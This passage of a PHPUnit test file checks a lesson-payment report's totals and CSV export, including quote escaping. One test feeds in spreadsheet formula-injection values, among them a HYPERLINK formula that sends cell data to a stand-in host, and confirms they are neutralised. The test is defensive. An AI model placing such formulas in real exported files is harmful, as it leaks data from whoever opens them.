*/ private function rows(): array { return [ [ 'date' => '2026-06-02', 'student' => 'Ada', 'instructor' => 'Pat', 'method' => 'etransfer', 'status' => 'paid', 'amount' => 100.00, 'tax_rate' => 13.0, 'tax_amount' => 13.00, 'total' => 113.00, ], [ 'date' => '2026-06-09', 'student' => 'Grace', 'instructor' => 'Pat', 'method' => 'card', 'status' => 'paid', 'amount' => 50.00, 'tax_rate' => 13.0, 'tax_amount' => 6.50, 'total' => 56.50, ], ]; } public function testTotalsAggregateAmountsAndTax(): void { $report = new PaymentReport($this->rows()); self::assertSame(2, $report->count()); self::assertSame(150.00, $report->totalAmount()); self::assertSame(19.50, $report->totalTax()); self::assertSame(169.50, $report->grandTotal()); } public function testEmptyReportHasZeroTotals(): void { $report = new PaymentReport([]); self::assertSame(0, $report->count()); self::assertSame(0.0, $report->totalTax()); self::assertSame(0.0, $report->grandTotal()); } public function testCsvIncludesHeaderRowsAndTotals(): void { $csv = (new PaymentReport($this->rows()))->toCsv(); $lines = explode("\n", trim($csv)); // header + 2 data rows + totals row. self::assertCount(4, $lines); self::assertStringContainsString('"Date","Student","Instructor"', $lines[0]); self::assertStringContainsString('"Ada"', $lines[1]); self::assertStringContainsString('"Totals"', $lines[3]); self::assertStringContainsString('"19.50"', $lines[3]); self::assertStringContainsString('"169.50"', $lines[3]); } public function testCsvEscapesEmbeddedQuotes(): void { $rows = $this->rows(); $rows[0]['student'] = 'Ada "The Great"'; $csv = (new PaymentReport($rows))->toCsv(); self::assertStringContainsString('"Ada ""The Great"""', $csv); } public function testCsvNeutralisesFormulaInjectionInNames(): void { $rows = $this->rows(); $rows[0]['student'] = '=HYPERLINK("https://evil.test/?"&A1,"total")'; $rows[0]['instructor'] = '@SUM(A1)'; $rows[1]['student'] = "+1+2"; $rows[1]['instructor'] = "\tcmd"; $csv = (new PaymentReport($rows))->toCsv(); self::assertStringContainsString('"\'=HYPERLINK(""https://evil.test/?""&A1,""total"")"', $csv); self::assertStringContainsString('"\'@SUM(A1)"', $csv); self::assertStringContainsString('"\'+1+2"', $csv); self::assertStringContainsString("\"'\tcmd\"", $csv); // Safe fields are untouched. self::assertStringContainsString('"2026-06-02"', $csv); self::assertStringContainsString('"100.00"', $csv); } }